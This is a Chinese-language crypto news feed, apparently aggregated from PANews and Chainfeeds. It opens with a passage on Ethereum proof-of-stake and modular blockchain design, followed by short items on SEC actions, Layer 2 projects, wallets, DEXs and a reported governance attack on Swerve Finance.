年中提出了几个雄心勃勃的提案，问题的核心是一个基本的权衡： - 可负担性：可以负担得起在网络上进行交易的用户人数规模。 - 可验证性：具有硬件和带宽等硬性要求以实时验证交易完整性的用户人数。 许多现代区块链系统将可负担性和最大用户数量置于其他一切之上 - 假定网络运营者愿意尽最大努力帮助实现这一目标。这种假设，运营者应该努力工作，会使区块链系统向中心化方向发展，因为它减少了可以作为运营者参与的人数。特别是对于需要运营者从经过批准的制造商购买硬件的网络。 并不是说现代区块链设计是错误的，但迄今为止，它们都未能像比特币或以太坊一样获得同样的关注。在我们看来，其中一个突出原因是这种基本权衡。这是比特币区块大小之争的核心，社区最终决定优先考虑谁可以验证网络的完整性，而不是长期的可负担性。 希望就像以太坊一样，可负担性可以通过闪电网络、侧链或 Rollup 推到另一个层级。以太坊社区、路线图和价值观都源于相同的背景。唯一的区别在于以太坊有一种根深蒂固的社会契约，使其社区能够实际改变基础平台以克服这个困境。 如果有一个与权益证明无关的唯一收获，那就是在去中心化网络的情况下，TPS 指标是毫无意义的。可扩展性不仅仅是以任何代价增加吞吐量，而应定义为以下内容： “增加交易吞吐量，同时仍遵守运行完全验证节点所需的相同的计算、带宽和存储要求。” 作为读者，这个讨论可能看起来很奇怪。为什么我们要谈论区块链可扩展性？这与权益证明有什么关系？更重要的是，由于升级不会立即以有意义的方式增加交易吞吐量，这讨论似乎更加离题。原因在于该升级的功能被低估了，即可为未来的可扩展性解决方案奠定基础。 一个新的思维模型 —— 共识参与者不需要做所有的艰苦工作，他们只需验证并同意工作是正确的。 让我们快进几年，快进到区块大小战争之后。现在，我们有更好的术语来说明这个困境如何影响区块链系统的设计，即单一型区块链或模块化设计。 单一型区块链。这是一种试图寻找通用解决方案以解决所有硬件瓶颈的区块链协议和实现机制，例如如何执行交易、如何广播数据以及如何存储数据库。参与的网络运营者必须执行所有繁重的工作并运行整个单一型的实现，这很大程度上限制了谁可以参与共识协议。 模块化设计将资源按层级重新定义 —— 使得团队能够构建软件以解决每个层级的问题。 资源形成分层。以太坊权益证明设计及其长期路线图背后的重要力量之一是将每种资源定义为一个新层级。通过成为一个层，可以将问题分离并独立，从而允许团队构建新的软件客户端来解决每个特定的问题。这就是所谓的模块化区块链设计。 关于模块化方法最重要的理解可能是它如何改变共识参与者的看法。它不再是让他们负担最大的工作量。相反，它的重点是： “区块提议者最少需要做什么工作？有没有可能把所有不必要的困难工作给到别的地方？” 回答是肯定的 验证者作为轻客户端。区块链协议的设计不再是围绕最大化网络运营者的工作。事实上正好相反，网络运营者（验证者）应该是轻客户端，只需要检查和验证在别的地方已经完成了的工作。 这就是为什么我个人喜欢“验证者”这个名字。他们唯一的工作就是验证、达成一致（共识），最终保护存储在以太坊数据库中的所有用户资产。从长远来看，参与其中应该只需要商业上可用的硬件和良好的互联网连接。 此外，通过使验证者成为轻量级客户端，它可能最终解决了运行节点软件的利他性天然症结。用户终于可以因验证区块链并实时检查其完整性而获得报酬。此外，我们也可以检查他们是否在做这项工作。 合并是将以太坊规范迈向模块化设计的第一个里程碑。 它将交易排序的全局共识和交易的最终执行分离。与此同时，它引入了两个新的区块链： 1）执行区块链。处理用户生成的交易和智能合约执行的原始以太坊区块链。有时被称为 ETH1 区块链。 2）共识区块链。专用于共识层的区块链。它负责决定执行区块链的规范链，并记录权益证明的转录。有时被称为信标区块链。 两个软件客户端。工作量证明 PoW 模块以及通常处理决定规范链的任何代码，都可以从原始以太坊节点软件中删除。整个执行环境保持完整，并且现在称为执行客户端。为了检索规范的执行链，它会向处理共识层的软件客户端（“共识客户端”）轮询新块。 由于执行区块链和客户端基本上保持不变，因此我们的文章将重点关注实现权益证明协议的共识层。 多客户端生态系统。由于上述分离，出现了几个独立尝试解决共识或执行问题的团队。当然，在这两种情况下，他们必须遵循通用规范，但可以自由地尝试实现细节。目前存在一个蓬勃发展（且出乎意料地资金充裕）的多客户端生态系统。例如，共识客户端包括 Teku 和 Prysm，而执行客户端如 Geth、Erigon 和Nethermind。 鼓励验证者运行不同组合的共识和执行客户端。这是防范共识级错误的第一道防线，希望相同的错误不会在多个独立实现中复制。这种软件工程实践称为 “N 版本” 编程。 如果验证者的绝大多数不遵循此建议，则可能导致末日情景。我们很快就会了解更多信息。 细心读者可能已经注意到了这里的数据可用性、执行和结算层的使用，但是权益证明以太坊是为了共识和执行层奠定了基础。 长期的路线图是朝着以下方向发展： 共识 → 数据可用性。所有验证者都达成了对数据排序的一致意见，proto-danksharding 有助于巩固这一角色。 Rollups → 执行层。Rollups 承担执行层的角色， ETH1 → 结算层。原始的以太坊区块链是保护所有用户定义资产的信任基础。 这种命名可能会令人困惑，依赖于以太坊协议的未来迭代。我们现在只是简单地称之为共识和执行层 —— 因为它已经被实现和部署了。  ( 5 min )
    PROOF推出Web3创作者加速计划“Outliers”
    PANews 3月25日消息，NFT项目Moonbirds母公司PROOF在推特宣布推出Web3创作者加速计划“Outliers”，旨在支持“尝试突破技术障碍并通过其艺术作品进行创新”的创作者，据悉首批入围2023春季队列的创作者共有15人，包括Terrell Jones、Alien Queen、Patrick Amadon等。他们将花6周时间在Web3上设计和构建项目。  ( 4 min )
    已倒闭的Swerve Finance正遭受治理攻击，攻击已持续超过一个星期
    PANews 3月25日消息，据The Block报道，已倒闭的Swerve Finance正在遭受治理攻击，攻击已经持续了一个多星期。目前攻击尚未成功，因为攻击者没有满足51%的代币所有权来执行将Swerve剩余资金转移至攻击者合约的提案。治理攻击是指黑客控制足够的投票权来执行旨在从协议中窃取代币的提案。2021年2月，Swerve Finance多签持有者以及其discord频道版主chickenpie347发文指出，Swerve团队将项目交给社区，并转向新项目Boot Finance，专注于“一个全新的方向、新的代币经济以及新的路线图”。chickenpie347将Swerve的失败归结于创始人John的消失、代币经济学本身的问题以及多签持有者存在利益冲突等。Swerve是Curve的分叉项目，于2020年9月上线。  ( 4 min )
    一周精选丨ZK系Layer2出现交互热；美SEC盯上知名加密机构及个人；ARB上线市场，合理估值是多少？
    PANews编者按：PANews精选了一周的优质内容，帮助大家利用周末时间查漏补缺，点击标题即可阅读。PANews已上线Hong Kong Web3 Festival 2023活动汇总（持续更新），点此查看更多活动日程 熊牛过渡？比特币已实现价格拐点再现 在比特币因“减半”而出现的4年牛熊周期中，众多的链上分析师通过诸多链上指标判断市场行情，在众多的链上指标中，已实现价格拐点的出现通常被认作熊牛过渡的关键点，过往三轮牛熊轮转中均得到了验证，而今，已实现价格的拐点似乎再次出现，这是否意味着行情开始好转？ 数据复盘USDC危机后的稳定币市场：稳定币购买力跌至短期低点 尽管USDC的危机在3月13日已经得以解除，但此次脱锚仍然给稳定币市场带来了诸多变化和思考。中心化的法币稳定币脱锚是否给了其他类型的稳定币“可乘之机”？市场中的稳定币流动性是有所下降还是有所上升？危机发生时稳定币主要流向哪里？ 剖析以太坊上海升级后的风险与机遇 本次主要探讨上海升级后，以太坊和 LSD 协议的提款设计及相关风险，以及对 ETH 的价格和 LSD 协议相关衍生代币的价格的影响. Coinbase首席法务官发文强势回应SEC：考虑通过法庭以进行建设性对话 由于美国的加密监管没有相关的法律或政策，缺乏一定的清晰度，导致监管问题一直是立在加密行业头上的达摩克里斯之剑。3月23日，Coinbase收到了SEC关于质押和资产上线的韦尔斯通知。Coinbase CEO回应称Coinbase没有违法，并愿意出庭证明SEC在涉及数字资产时的不公平和不合理。随后Coinbase首席法务官在推特上表示SEC没有监管手册，如果通过法庭对话，将捍卫法治。一时之间，加密监管再次成为风口浪尖。 Paradigm撰文：由于SEC不作为，注册并不可行 针对Coinbase收到SEC关于质押和资产上线的韦尔斯通知一事，加密风投Paradigm发文表态，称由于SEC不作为，注册并不是加密项目的可行途径，并希望发起关于如何监管的讨论，就当前制度下，在SEC注册的加密项目的可行性达成共识。 美证监会 SEC 起诉孙宇晨 Justin Sun 的法律逻辑 Sun 在面对公众质疑时，还发推表示：“Tron 基金会没有参与或并不知情。” Sushi 及负责人受调查：SEC 要对 DeFi 出手了吗？ Jared Grey 在最新的论坛帖子中表示自己收到了 SEC 的传票。 视频｜$ARB代币估值多少？！Arbitrum空投应该持有还是抛售？ 23号你有空投可以领吗？最近听到最多的两个问题：ARB代币估值是多少？空投拿到之后应该持有还是卖出？如果你也有一样的疑问，看这只视频就对了！ 梳理三大ZK系Layer2交互策略：zkSync、StarkNet及Scroll 受Arbitrum「撒钱」刺激，业界的空投热情再次被点燃，而ZK Rollup系 Layer2 们则成为了所有羊毛党们关注的焦点。 梳理Synthetix现状：永续合约交易量明显上升，V3更新带来更灵活的定制化服务 Synthetix Perps V2近期交易量上升，Kwenta中的交易需求强劲，下个月开始的交易奖励活动可能进一步激励交易量。Synthetix V3也会更加灵活，会推出可以和抵押品1:1互换的稳定币snxUSD。 Moxy：游戏行业“老人天团”打造Web3链游电竞平台 结合区块链技术，Moxy试图将电子竞技打造为第四类别的游戏。 Starknet空投或即将来临：进行Starknet v0.11.0升级并任命5个委员会 Starknet基金会宣布任命5个委员会，其中拨备委员会将确保STRK代币的公平分配，监督为用户提供STRK代币，空投规则可能已经在制定中。 链游报告：亚洲将会成为区块链游戏的引擎 加密资产信息披露平台Xangle 深入探讨了头部游戏公司使用的领先战略以及机会所在，PANews对原文进行了翻译。 1inch将入局NFT交易平台，先行者们交易表现如何？ 1inch或将入局NFT交易市场，借助DeFi领域的优势，其他先行布局的DEX表现究竟如何？ NFT如何在科学领域知识产权发挥优势？ 本文列举了科学和学术界中 IP 领域的主要问题，并概述了 DLT 和区块链提高 IP 领域的机会。我们勾画了一个 IP x NFT 生态系统格局，列出了最先进的倡议和项目，并讨论了 CC0-NFT 和 IP-NFT 的主要挑战。 为什么Open Loyalty将成为NFT的下一个新叙事？ PFP之后，大家都在呼唤更有实用价值的utility, 星巴克基于 Loyalty 打造的会员token是其中重要一类。如果更多品牌开放自己的会员，会带来一个什么样的世界呢？ 比特币NFT基建蓬勃发展，体验起来有OpenSea那么方便吗？ 我们以 Ordinals Wallet 和 Magic Eden 为例来演示一下比特币 NFT 的交易。 一文盘点6种EVM编程语言 在本文中，我们将研究 EVM DSL 设计的最新技术，介绍六种语言 Solidity、Vyper、Fe、Huff、Yul 和 ETK。 一文读懂最新Layer2解决方案：L1 排序的Based Rollups Base可以通过成为 Based Rollups 来实现无代币的去中心化。 一文了解融资4000万美元追求网络自由的去中心化匿名项目Tomi 由一群匿名的加密资深从业人士创建的Tomi 是一家 web3 公司，专注于提供硬件和软件的去中心化服务，具体包括去中心化的云挖矿、云存储、云托管等方面的扩展解决方案。 走进Stark：以太坊扩容的终极解决方案？ 本篇博客内容基于 StarkWare 联合创始人兼执行总裁 Eli Ben-Sasson 教授在以色列举办的 StarkWare 2023 大会上的演讲。 Telegram现已支持用户在聊天中发送USDT Coinbase前CTO：BTC将在90天内触及100万美元 数据：超过10亿美元的以太币永远丢失，占流通供应量的0.5% Zhu Su：近期加密行业大多数错误是由于引入“影子银行”等传统观念 美国SEC起诉孙宇晨，指控其出售未注册证券和操纵市场 韩国歌手权志龙明日将在OpenSea发售NFT系列“Archive of PEACEMINUSONE” 美联储主席鲍威尔：今年降息不是我们的基本预期，不考虑为所有未受保护的银行存款提供保险 某黑客向2400个私钥泄露地址发送以太坊并授权ARB合约，企图抢先领取ARB空投 SPACE ID发布空投细则：超29万个地址有资格领取，3月22日开放申领 链游开发商CCP Games完成A16z领投的4000万美元融资  ( 5 min )
    数据：持有超过1枚比特币的地址数量创历史新高
    PANews 3月25日消息，据Glassnode数据显示，持有超过1枚比特币的地址数量为989,107个，创历史新高。  ( 4 min )
    前美国SEC官员：美国执法部门对Terraform Labs和Do Kwon拥有管辖权
    PANews 3月25日消息，据CoinDesk报道，美国证券交易委员会（SEC）前执法部门负责人Lisa Braganca表示，美国执法部门对总部位于新加坡的Terraform Labs及其创始人Do Kwon拥有管辖权，因为他们在知情的情况下向美国投资者销售LUNA和UST。Lisa Braganca表示，SEC的依据是，Do Kwon等人正在接触美国投资者，这与他们是否在美国无关。他们从美国获得投资资金，他们面向美国投资者推销代币”。据法新社此前报道，Do Kwon 在黑山被控伪造罪，将于周五晚些时候出庭接受引渡程序，但尚不清楚引渡请求来自哪个国家。  ( 4 min )
    Aztec创始人：关闭Aztec Connect是出于商业原因，并非因监管压力
    PANews 3月25日消息，据CoinDesk报道，Aztec创始人表示，关闭以太坊零知识私人支付产品Aztec Connect是出于商业原因，而并非受监管影响。Aztec表示，Aztec Connect只是Aztec正在开发的技术迭代之一，未来还会推出更多有趣的产品。据悉，3月21日，Aztec Network官方宣布，其DeFi隐私桥项目Aztec Connect的存款功能已如期关闭，但用户仍将有一年的时间免费提款。  ( 4 min )

  • Open

    【英文】Rollups-as-a-Service 漫游指南
    Chainfeeds 导读： 区块链的未来将是数以百万计的特定应用模块链，而 Rollups-as-a-Service（RaaS）的出现将帮助开发团队无需运行基础设施即可轻松构建自己的链。Catalyst 贡献者 Jim 盘点 27 个致力于为开发者提供 RaaS 的项目并将其总结为 6 个类型。 文章来源： https://0xjim.medium.com/hitchhikers-guide-to-rollups-as-a-service-2e3438242ada 文章作者： 0xjim 观点： 0xjim：1）OGs：Cosmos 和 Substrate。二者的 SDK 都已存在多年，允许开发者创建自己的主权链，或在 Substrate 的情况下，作为平行链连接到 Polkadot 中继链的共享安全性。【原文为英文】 内容来源 0xjim：2）Alt-L1s：Polygon 和 Avalanche。内置原型模块化： Polygon Edge 和 Avalanche 子网。Avalanche 曾与 Crabada 和 DeFi Kingdoms 等游戏合作构建自己的游戏专用子网；通过 Polygon Supernets，dApp 团队可以利用现有 Polygon PoS 验证器创建单独的特定应用环境，也将能够使用 Polygon zkEVM 创建 ZK rollup。【原文为英文】 内容来源 0xjim：3）以太坊 Maxis：OPStack：Optimism 的模块化堆栈，其超级链愿景是利用共享排序器在 rollup 间提供同步性和原子性；Arbitrum：上周发布了 Orbit，以 rollup 或 AnyTrust 实例的形式启动 L3；Slush SDK：在 StarkNet 上构建 zkVM L3s；zkSync Hyperchains：利用 LLVM 的类似分形的 zkEVM 实例，在 L1 主网的共同结算下并行运行；此外有 Caldera 和 Stackr 等。【原文为英文】 内容来源 0xjim：4）Cosmos：Dymension RDK、Saga、Initia、Evmos SDK、Berachain 和 Eclipse 等。5）Celestia：Rollkit 和 Sovereign Labs。6）其他：Artesi、Alt Layer 和 Cartesi 等。【原文为英文】 内容来源  ( 16 min )
    JSquare：我们为什么看好无助记词钱包赛道
    Chainfeeds 导读： 数字钱包作为 Web3.0 的入口其用户体验和安全性直接影响加密货币及其应用在何时被大规模采用。投资机构 JSquare 分析师 Zoe Zhou 撰文解析无助记词钱包的重要性，并分析比较智能合约钱包和 MPC 钱包，认为两种钱包各有其优劣势，随着技术发展，会产生更多融合智能合约和 MPC 技术的钱包产品。 文章来源： https://mp.weixin.qq.com/s/LMh3iLbcI1fZYBrRoc7v_A 文章作者： Zoe Zhou（JSquare） 观点： Zoe Zhou（JSquare）：在以太坊上有两种基本的账户类型，即 EOA 账户和合约账户，每个账户都由唯一的私钥确定，但机制存在缺陷，即私钥的遗忘、丢失和泄露会造成不可逆的数字资产损失。目前主流的两种解决方案取得了重大进展，即无助记词的加密钱包：智能合约钱包（包括多重签名钱包）和多方计算（MPC）钱包。 内容来源 Zoe Zhou（JSquare）：智能合约钱包和抽象账户：智能合约钱包是使用特定的 EOA 账户管理链上资产的智能合约，可以支持进一步的编程，账户抽象所做的是解耦签名者和账户之间的关系，结合 CA 的可编程性和 EOA 主动发起交易的能。MPC 钱包：使用阈值签名方案 (TSS) 来创建一个私钥的份额。旨在通过要求多方共同创建私钥片段然后验证交易来提高安全性。最重要的是，在账户创建、使用、保存、备份和恢复过程中，私钥不会出现在任何过程。 内容来源 Zoe Zhou（JSquare）：从安全性、易用性、功能性、可扩展性、成本、透明度评估 Web3.0 钱包，MPC 钱包对用户来说成本更低，短期内更可行。但链下多方问责制无法回避，钱包产品无论是安全性还是用户体验方面的竞争力提升都不明显。智能钱包是一个有很多创新机会的产品，可以带来更多新的应用和用例。但是，账户抽象是一个大工程，需要其他智能合约、开发者、以太坊架构师配合升级。 内容来源 Zoe Zhou（JSquare）：我们认为两者并不矛盾，两者的取舍还要看具体的需求。MPC 在密钥生成和管理层面提供安全性，而智能合约为生态系统发展带来可扩展性和更多应用。他们本质上不在同一个维度来解决私钥的管理问题。对于个人用户而言，智能钱包可能更适合。对于机构或企业用户，MPC 钱包可能更适合。随着技术的发展可能看到更多融合智能合约和 MPC 技术的钱包产品，以提供更全面的解决方案 内容来源  ( 32 min )
    【英文长推】盘点 8 个构建在 zkSync 上的 ZK 永续 DEX
    Chainfeeds 导读： zkSync Era 主网上线，Polygon zkEVM 也将发布主网，ZK 叙事正式启动，加密 KOL 盘点了 8 个构建在 zkSync 上的 ZK 永续 DEX。 文章来源： https://twitter.com/Cryptovoxam/status/1639237697276612608 文章作者： Voxam 观点： Voxam：1）Derivio，正在构建一系列衍生产品，范围足以满足散户和机构的需求。测试网即将推出。2）MES Protocol，多重 rollup 交易解决方案，其目标是在 rollup（Optimistic 和 ZK）之间建立一个统一的订单簿，解决分散的流动性问题。3）Phezzan Protocol，订单簿风格的永续 DEX，可实现零售流动性，这要归功于他们的做市策略。【原文为英文】 内容来源 Voxam：4）PerpDex，一种无损 AMM，这意味着用户可以提供流动性并且不用担心 IL，并引入「免清算资金」的新机制。5）Increment，利用抵押品支持的合成资产，并利用 Curve V2 AMM 实现链上永续掉期。主要特点包括自动集中流动性、动态费用、可参数化的资金池。6）Atomic Green，目前发布在以太坊、Polygon、Arbitrum 和 Aurora。8）Sat.is，多链订单簿永续 DEX，支持跨链抵押品、单边代币流动性挖矿、零滑点。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Polygon zkEVM 全面指南：或成为下一轮牛市最大叙事
    Chainfeeds 导读： 获得 10 亿美元融资后，Polygon 宣布将在 3 天内发布 Polygon zkEVM 主网。加密分析师 Louround 及 Zero Knowledge 两人联合撰写 Polygon zkEVM 全面指南，涵盖 zk rollup 原理，Polygon zkEVM 竞争优势，Polygon 的代币经济模型及生态系统。 文章来源： https://twitter.com/Louround_/status/1639323599214616576 文章作者： Louround 观点： Louround：Polygon zkEVM 是一种新的 L2 解决方案，旨在解决以太坊的可扩展性问题，同时保持 EVM 等效性。主网将于 3 月 27 日启动，由 Polygon labs 投资 10 亿美元资助。区块链「三难困境」催生了各种可扩展性解决方案，其中包含 zk rollup，即使用 zk 证明系统来确保 L1 上交易和状态变化的可验证性。 内容来源 Louround：竞争优势：1）其「圣杯」是实现 EVM 等效性，这意味着达到完整的字节码级别兼容性。2）EVM 的互操作性和等价性。3）Polygon zkEVM 实施了效率证明（POE）的新型共识机制，改进去中心化并提高网络安全性。4）使用 Plonky2，一种递归 zk 证明系统，将 STARK 与 SNARK 证明的优点结合起来，可能是以太坊上最便宜和性能最高的证明系统。【原文为英文】 内容来源 Louround：Polygon 目前 TVL 超过 10 亿美元，和 83 亿美元桥接到链的总价值。Polygon 过去一年收入超过 2600 万美元，是收入最多的链。其平均每年 3 亿美元的净收入主要是由于代币激励，代币 $MATIC 供应量为 100 亿枚，用于治理和支付 POS 链上的交易费用（zkEVM 上的交易费用将以 $ETH 结算），以及质押以验证和保护链。代币现在几乎完全流通。【原文为英文】 内容来源 Louround：尽管 TVL 不是最高的，但 Polygon 拥有最大的生态系统之一，拥有超过 7000 个活跃的 dApp。与竞争对手相比，该团队专注于开发其环境，例如 NFT 和 gameFi，而不是仅仅专注于 DeFi。因此，Polygon 是在过去几年中最多的 web2 公司加入其生态系统的链。由于 zkEVM 将是一条独立的链，项目将不得不在新的 L2 上部署，由于 2 型 EVM 的存在，其步骤更加便利。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 Coinbase 投资的 10 个 DeFi 项目
    Chainfeeds 导读： 加密 DeFi 研究员 MooMs 发推盘点 Coinbase 投资的 10 个 DeFi 项目，包括该项目的基本信息、融资金额以及其他参投机构等。 文章来源： https://twitter.com/Moomsxxx/status/1638971540992585754 文章作者： MooMs 观点： MooMs：1）Derivio，正在构建一系列衍生产品，范围足以满足散户和机构的需求。测试网即将推出。2）MES Protocol，多重 rollup 交易解决方案，其目标是在 rollup（Optimistic 和 ZK）之间建立一个统一的订单簿，解决分散的流动性问题。3）Phezzan Protocol，订单簿风格的永续 DEX，可实现零售流动性，这要归功于他们的做市策略。【原文为英文】 内容来源 MooMs：4）Rocket Pool（未披露）TVL 仅次于 Lido 的去中心化以太坊质押协议；5）Alongside（1100 万美元）加密货币指数代币，依据 25 种资产的市值加权，每月重新平衡且每季度重组，旨在以单一代币跟踪加密货币市场。a16z 领投；6）Architect（500 万美元）交易基础设施，为机构和大型交易商提供安全、稳健、可定制交易工具。针对超低延迟进行优化，包括标准化风险、合规性、市场数据和开发工具；【原文为英文】 内容来源 MooMs：7）Alkimiya（720 万美元）使共识生产者（如 PoW 矿工、质押验证者）能够创建由底层「共识资源」（如哈希算力）支持的金融合约。Alkimiya v1.0 专注于 POW 证明的金融抽象，核心产品为 Silica 和 Hash Vaults。1kx 领投，DragonFly Capital 等参投；8）Perennial（1200 万美元）点对点衍生品 AMM，遵循 Uni V3 等协议理念：构建一个超级强大且极简的核心原语，其他一切都建立在其上。Polychain 领投；【原文为英文】 内容来源 MooMs：9）Panoptic（450 万美元）基于以太坊的永续无预言机期权协议，利用 Uniswap v3 流动性头寸处理 24/7 的永续期权铸造、交易和做市。Uniswap Labs Ventures 等参投；10）Centrifuge（1880 万美元）通过将结构化信贷市场上链，实现透明、经济的借贷。据 DefiLlama 数据，Centrifuge 和 Goldfinch 是 TVL 最大的 RWA 贷款协议。【原文为英文】 内容来源  ( 2 min )
    【英文】以太坊生态周报：Shapella 升级、Layer2、EIP6733…
    Chainfeeds 导读： 速览以太坊生态系统、开发及应用一周重要讯息。本周重点内容：预计将于 4 月 12 日进行主网 Shapella 升级；Deneb 讨论：向引擎 API 中的 blob 包添加证明，用于测试和 SSZ 范围的 KZG 库启动时间；EIP4844 实施者电话记录；zkSync Era 主网 alpha 向所有用户开放；Taiko alpha-2 测试网上线：使用 Sepolia 测试网。 文章来源： https://weekinethereum.substack.com/p/week-in-ethereum-news-march-25-2023 文章作者： abcoathup.eth  ( 10 min )
    从 dYdX 最新提案看社区治理和 DAO 的共识创建
    Chainfeeds 导读： 上周，dYdX DAO 一项旨在将交易奖励减少约 45% 的治理提案 DIP 20 正式获得通过。ChainCather 作者西昻翔以 dYdX 的数次重要转折为引，细致分析其社区治理思路的变化，对项目的短、长期影响，对比总结 DAO 在共识建立和利益分配等方面所遇到的挑战。 文章来源： https://www.chaincatcher.com/article/2089919 文章作者： 西昻翔（链捕手） 观点： 西昻翔（链捕手）：该提案本身并不复杂 —— 减少交易激励，将资金节省下来充入金库，至于具体用途留待后议。但其背后反映出项目及利益相关方的意图却很直接：出于更长期的社区利益考量，dYdX 选择了适当放弃短期激励和好看的交易量数字。作为 DeFi 头部项目的 dYdX，能够屡屡借助社区投票和公众治理来及时沟通、调整项目发展细节和中长期规划，已然成为业内不可多得的范本。 内容来源 西昻翔（链捕手）：当今加密项目中的大多数治理机制，都是基于代币的一种民主实现形式。但绝大多数 DAO 治理模型很难做到在处理复杂任务的同时激励良性行为。至少在当下，DAO 治理只是模仿了传统的股东治理，换句话说，我们还没有看到真正的去中心化治理以及 Web3 的魅力 —— 即，赋予更多的人为系统做出创造性贡献的能力。 内容来源 西昻翔（链捕手）：需要肯定的是，关于 DAO 的试验进展得非常之快，它正在迅速演化成传统模式看不懂、学不会的样子。借助互联网和区块链的规模化、颗粒度、可编程性、可组合性，它有望通过不断的实践和创新进化成更好的模型。当下不必苛求 DAO 的完美，更多类似 dYdX 的加密项目将朝着更适应市场的方向前进。 内容来源  ( 4 min )
    衍生品 DEX 赛道竞争白热化，增量在哪里？
    Chainfeeds 导读： 伴随 $ARB 的发行，该生态中的衍生品 DEX GMX、GNS 的价格都出现了比较大的回调。LD Capital 研究员 duoduo 撰推分析衍生品 DEX 赛道，认为竞争白热化，龙头项目已形成规模效应，新项目创新力度不足，并总结了三个可能的增量。 文章来源： https://twitter.com/angalina2021/status/1639144293498593281 文章作者： duoduo 观点： duoduo：衍生品 DEX 赛道发展至今，出现了两大类型模式：一类是以 DYDX 为代表的订单薄模式，另一类是以 GMX 为代表的流动池模式，包括 GNS / SNX / VELA 等都是此类代表。GMX 的模型由于具有很强的资金吸引能力，并容易启动，而成为新项目竞相模仿的模式。 内容来源 duoduo：目前衍生品 DEX 赛道竞争白热化。龙头项目已经形成规模效应，资金规模和用户规模都已获得较大增长，增速放缓。GMX 的 TVL 近期有所下降，GMX 的质押率也从此前最高 80% 下降到现在的 77%。从模式上看，新项目的创新力度不足，主要机制微创新 + 较高收益率来争夺存量用户。 内容来源 duoduo：衍生品 DEX 的增量在哪里？1）圈外资金涌入，加密货币市场整体规模扩张。短期内不具备条件。2）出现新的模式，创新性溢价。3）在新的生态中抢占早期红利的。例如 ZigZag ，zkSnyc 上的现货交易所，未来会扩展衍生品交易。以及 Derivio ，第一个建立在 zkSync Era 上的衍生品生态项目。 内容来源  ( 2 min )
    【英文长推】盘点 Polygon zkEVM 的创新原生协议：Satori、Clober、Mantis Swap......
    Chainfeeds 导读： Polygon zkEVM 建立在最前沿的 zk 执行层上，加密研究员 Asif Kha 盘点了一些构建在该执行层之上的新颖原生 DeFi 协议，它们也许会成为生态的催化剂。 文章来源： https://twitter.com/0xkhan_/status/1638967301562327044 文章作者： Asif Khan 观点： Asif Khan：1）Satori：订单簿永续交易所，链下匹配引擎、链上结算，募集了 1000 万美元资金。2）Clober，是 EVM 的唯一全链订单簿，采用了一种新的算法「LOBSTER—— 带分段树（Segment Tree）的限价订单簿，用于高效的订单匹配」，实现了链上订单匹配和链上结算。【原文为英文】 内容来源 Asif Khan：3）Manti Swap：stableswap（稳定互换）AMM，以新颖的单边质押作了突破。4）D8X：将推出基于池交易对手的永续引擎，主要产品是动态 AMM 定价模型，可确保执行价格最低、AMM LP 风险降低、LP 资金利率概况增加。5）SynFutures Protocol：另一个 Polygon 原生永续协议，其 V1 版本交易量已达 190 亿美元。6）Time Swap：完全链上的无预言机、强流动性借贷市场。【原文为英文】 内容来源 Asif Khan：7）Polymarket：预测市场。8）0VIX：将链上借贷带入下一阶段，与 PolygonID 一起使用原生 zk。但主要的杀手锏是动态利率曲线。9）QuickSwap：Polygon 原生 dapp，每日交易量大于 5000 万。10）Qi Dao：Polygon 上的 OG 稳定币协议。11）Satin Exchange：将全栈博弈论引入 DEX 战争，合约和模型相较于 Solidly 和 Velodrome 都有了显著改进。【原文为英文】 内容来源  ( 2 min )
    下一个 The Beacon？Web3 游戏 Zeeverse 全方位介绍
    Chainfeeds 导读： 前段时间，Zeeverse 先后和 Curve、TreasureDao 合作，表现出一定的生存韧性。链茶馆作者 fishman 撰文从游戏开发团队、玩法、经济模型、发展历程及未来规划等方面对 Zeeverse 进行全方位介绍。 文章来源： https://mp.weixin.qq.com/s/MGwdqbDKz1q6FxoAmqMAbQ 文章作者： fishman（链茶馆） 观点： fishman（链茶馆）：Zeeverse 是一款像素精灵宝可梦风格的沙盒游戏，完成度还较低，目前主要可以体验回合制策略地牢闯关。主要资产 NFT Masks，ERC20 Token VEE 均发行在 ETH 主网，近期和 TreasureDao 在深化合作，传言有在 Arb 上 Mint NFT 的可能。 内容来源 fishman（链茶馆）：Mask 限量 3333 个，发行在 ETH 主网，是 Zeeverse 的 OG 符号，持有者都是早期 Free mint 玩家。团队不断为其赋予价值，如空投预期、提升 PVE 奖励、其他资产铸造白名单、游戏内妆扮等；VEE 主要通过游戏内 PVE 地牢闯关获得，也可在 Curve 上直接购买，可用于游戏内孵化和升级 Zee 宠物。 内容来源 fishman（链茶馆）：据白皮书显示，团队规划主要分为两个路径，资产端：代币 ZEEV 发行铸造、ZEEV listing、岛屿 NFT 铸造；玩法端：推出副职、完善 PVP。 内容来源  ( 32 min )
    Blockworks Research：一文解读 Avalanche 最新升级
    Chainfeeds 导读： Blockworks Research 研究员 Matt Fiebach 通过 Elastic Subnets（弹性子网）、 Avalanche Warp Messaging（AWM)、 HyperSDK 三个部分解读 Avalanche 最新升级。认为新升级显示出巨大的前景，然而到目前为止，子网的创建一直乏善可陈，这些额外的好处能否激励开发者利用 Avalanche 并推动 AVAX 的价值仍然值得观察。 文章来源： https://twitter.com/blockworksres/status/1639294881104539650 文章作者： Matt Fiebach （Blockworks Research 研究员） 观点： Matt Fiebach （Blockworks Research 研究员）：1）Elastic Subnets，其支持在 Avalanche 上创建不可变且无许可的区块链。子网的原生代币现在可以用于质押。Elastic Subnets 为使用 Avalanche 构建的大型去中心化社区控制区块链铺平了道路。【原文为英文】 内容来源 Matt Fiebach （Blockworks Research 研究员）：2）AWM，一种允许子网之间进行简单和安全通信的标准，促进更好的用户体验并创建统一的 Avalanche 生态系统，每个子网现在都可以利用其他子网的技术和流动性。从技术上讲，原始子网验证者共同签名（多重签名）消息是有效的，目标子网然后检查是否有足够数量的 AVAX 验证了此消息（通过主网），以确定它是否会接受它的准确性。【原文为英文】 内容来源 Matt Fiebach （Blockworks Research 研究员）：3）HyperSDK 是一个框架，开发人员可以轻松地为其子网创建自定义虚拟机（VM）。Hyper 降低了运行时的复杂性并针对特定用例进行了优化，允许在 VM 级别进行开发，并为复杂的用例进行链扩展。【原文为英文】 内容来源  ( 2 min )
    CoinDesk：编辑收到涉及亚马逊 NFT 计划的官方电子邮件
